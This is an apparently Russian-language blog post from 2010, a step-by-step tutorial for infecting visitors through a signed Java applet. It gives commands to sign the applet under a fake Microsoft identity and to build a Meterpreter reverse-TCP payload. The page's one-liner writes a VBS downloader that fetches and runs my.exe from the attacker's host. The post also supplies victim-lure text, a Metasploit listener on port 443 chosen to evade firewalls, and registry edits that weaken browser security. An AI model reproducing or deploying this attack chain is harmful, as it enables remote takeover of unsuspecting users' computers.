mercredi 31 mars 2010

Инфицирование Java апплета.

Джошуа Авраам (Jabra) опубликовал большую статью, которая была основана на докладе, сделанном на Всемирной конференции Infosec в вRafal Los, статью можно найти на http://blog.spl0it.org. Это Java-апплет, который после запуска в браузере будет выполнять полезную нагрузку Meterpreter если цель принимает предупреждение о безопасности.
Прежде чем мы начнем, машина атакующего должна удовлетворять некоторым условиям.

root@bt4:/# apt-get install sun-java6-jdk

Jabra упростил создание подписи Java-апплета, весь процесс сводится к запуску bash скрипта. Сам скрипт можно загрузить с http://spl0it.org/files/makeapplet.sh
Теперь создадим рабочую директорию для нашего Java-апплета, затем скачаем сам скрипт.

root@bt4:/# mkdir ./java-applet

root@bt4:/# cd ./java-applet

Нам нужно создать Java-апплет и поставить на него подпись. Для этого откройте ваш текстовый редактор, затем новый документ и вставьте содержимое скрипта, которое указано ниже, сохраните как : "MSFcmd.java". Оставьте текстовый редактор открытым, нам потребуется изменить некоторые параметры.

import java.applet.*;
import java.awt.*;
import java.io.*;
public class MSFcmd extends Applet {
public void init() {
Process f;
String first = getParameter("first");
try {
f = Runtime.getRuntime().exec("first");
}
catch(IOException e) {
e.printStackTrace();
}
Process s;
}
}

Далее мы запустим скрипт Jabr-ы, чтобы помочь в принятии нашего сертификата. Следующие команды загрузят сценарий, сделают его исполняемым, а затем запустят сценарий для получения сертификатов.

root@bt4:/java-applet/# wget http://spl0it.org/files/makeapplet.sh && chmod a+x ./makeapplet.sh

root@bt4:/java-applet/# ./makeapplet.sh

Enter the name of the applet without the extension: MSFcmd
[+] Packaging the compiled class into a JAR file
[+] Generating key pairs
What is your first and last name? [Unknown]: MSFcmd
What is the name of your organizational unit? [Unknown]: Microsoft
What is the name of your organization? [Unknown]: Microsoft Organization
What is the name of your City or Locality? [Unknown]: Redmond
What is the name of your State or Province? [Unknown]: Washington
What is the two-letter country code for this unit? [Unknown]: US
Is CN=MSFcmd, OU=Microsoft, O=Microsoft Organization, L=Redmond, ST=Washington, C=US correct? [no]: yes

[+] Signing the JAR file

Warning:
The signer certificate will expire within six months.
[+] Exporting the public key certificate
Certificate stored in file
[+] Done

Все готово, мы должны подготовить наши JAR и class файлы для веб-сервера.

root@bt4:/java-applet/# cp SignedMSFcmd.jar /var/www/

root@bt4:/java-applet/# cp MSFcmd.class /var/www/

root@bt4:/java-applet/# apache2ctl start

Теперь, когда аплет на месте, мы подготовим полезную нагрузку Meterpreter. Измените в примере ниже 'X.X.X.X' на IP адрес атакующего. Эта команда используя msfpayload создает Reverse TCP Meterpreter Shell для нашей жертвы. Мы генерируем полезную нагрузку в «сыром» формате и подаем на вход msfencode, сохраняем файл исполняемым. Исполняемый файл копируется в директорию веб-сервера, затем на него выставляются права на запуск.

root@bt4:/pentest/exploits/framework3/# ./msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 R | ./msfencode -t exe -o my.exe

root@bt4:/pentest/exploits/framework3/# cp ./my.exe /var/www/

root@bt4:/pentest/exploits/framework3/# chmod a+x /var/www/my.exe

Далее мы должны добавить команду запускающую полезную нагрузку в файл index.html. В общем эта страница будет запускать JAVA-Аплет, подписанный нами, который, получив разрешение от клиента, запустит cmd.exe из своей системы, повторяя строчки в VBS-скрипт с именем "apsou.vbs". Не забудьте, что этот файл можно найти в системе после всех успешных и "некоторых" неудачных попыток. После того, как файл создан, та же самая командная строка запускает VBS-скрипт и в качестве переменной подает ему ссылку на систему атакующего, где расположен файл "my.exe". Как только полезная нагрузка будет загружена, она запустит "my.exe" с правами пользователя, запустившего браузер.
Модифицируем файл index.html, первое,что загрузит в свой браузер клиент сайта. В реальном мире, контент сайта можно разнообразить видео, веб-браузерными играми, или другими мероприятиями, чтобы развлечь или отвлечь жертву. Социальная инженерия может сыграть огромную пользу, направив вашу жертву к определенному URL, предупредите жертву, чтобы та согласилась с предупреждением безопасности, для дальнейшего просмотра вашего сайта или использования вашего «очень безопасного IM апплета». Вы также можете разместить различные полезные нагрузки в разных папках для разных клиентов. Введите следующую команду как одну непрерывную и не забудьте изменить 'XXXX' нападающего на ваш IP-адрес.

root@bt4:/pentest/exploits/framework3/# echo "" > /var/www/index.html

root@bt4:/pentest/exploits/framework3/# echo " C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject("ADODB.Stream") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> C:\windows\apsou.vbs & echo Http.Open "GET", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C: windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject("WScript.Shell") >> C:\windows\apsou.vbs & echo shell.Run "C:\windows\my.exe" >> C:\windows\apsou.vbs & start C:\windows\apsou.vbs http://X.X.X.X/my.exe C:\windows\my.exe'>
" >> /var/www/index.html


На страницу нам также нужно добавить сообщение для пользователя, чтобы тот принял наш «вредоносный» апплет.

root@bt4:/pentest/exploits/framework3/# echo "" >> /var/www/index.html

root@bt4:/pentest/exploits/framework3/# echo "Please wait. We appreciate your business. This process may take a while." >> /var/www/index.html

root@bt4:/pentest/exploits/framework3/# echo "To view this page properly you must accept and run the applet.
We are sorry for any inconvenience. " >> /var/www/index.html

Теперь нам нужно использовать Metasploit multi/handler для ожидания соединений от клиентов. Для прослушки используем reverse shell на порту 443. Этот порт ассоциирован с HTTPS трафиком и поэтому большинство корпоративных брандмауэров разрешают «хождение трафика» через этот порт. Как и раньше замените 'X.X.X.X' на IP адрес атакующего.

msf > use exploit/multi/handler
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST X.X.X.X
LHOST => X.X.X.X
msf exploit(handler) > set LPORT 443
LPORT +> 443
msf exploit(handler) > save
Saved configuration to: /root/.msf3/config
msf exploit(handler) >exploit -j
[*] Exploit running as background job.
[*] Started reverse handler
[*] Starting the payload handler...

Когда жертва просматривает наш сайт и принимает предупреждение системы безопасности, полезная нагрузка Meterpreter срабатывает и подключается к нашему обработчику.

msf exploit(handler) >
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (A.A.A.A:443 -> T.T.T.T:44477)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ps

Process list
============

PID Name Path
--- ---- ----
204 jusched.exe C:\ProgramFiles\Java\jre6\bin\jusched.exe
288 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe
744 smss.exe \SystemRoot\System32\smss.exe
912 winlogon.exe C:\WINDOWS\system32\winlogon.exe
972 services.exe C:\WINDOWS\system32\services.exe
984 lsass.exe C:\WINDOWS\system32\lsass.exe
1176 svchost.exe C:\WINDOWS\system32\svchost.exe
1256 java.exe C:\Program Files\Java\jre6\bin\java.exe
1360 svchost.exe C:\WINDOWS\System32\svchost.exe
1640 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1712 Explorer.EXE C:\WINDOWS\Explorer.EXE
1872 jqs.exe C:\Program Files\Java\jre6\bin\jqs.exe
2412 my.exe C:\windows\my.exe
3052 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe

meterpreter >

И последнее замечание, если у вас возникли проблемы с доступом к системе, проверьте, чтобы файлы

'C:\windows\apsou.vbs'
'C:\windows\my.exe'

не существовали на целевой системе.
При попытке повторного использования этого клиента вы не сможете правильно запустить VBS-скрипт.
Если у вас еще существуют проблемы с подключением, и вы удалили указанные выше файлы, пожалуйста, проверьте следующие места в реестре и внесите изменения по мере необходимости.

Start > run : regedit

navigate to:
HKLM\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only

change value to: 0

navigate to:
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags

click Decimal
change value to 3

navigate to:
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\

make new dword with the name 1C00
value in hex 10000

navigate to:
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags

click Decimal
change value to 3

Теперь мы должны закрыть редактор реестра и запустить или перезапустить IE, новые параметры должны отработать.

Э_L_A_Y c brutforcer.ru

Aucun commentaire:

Enregistrer un commentaire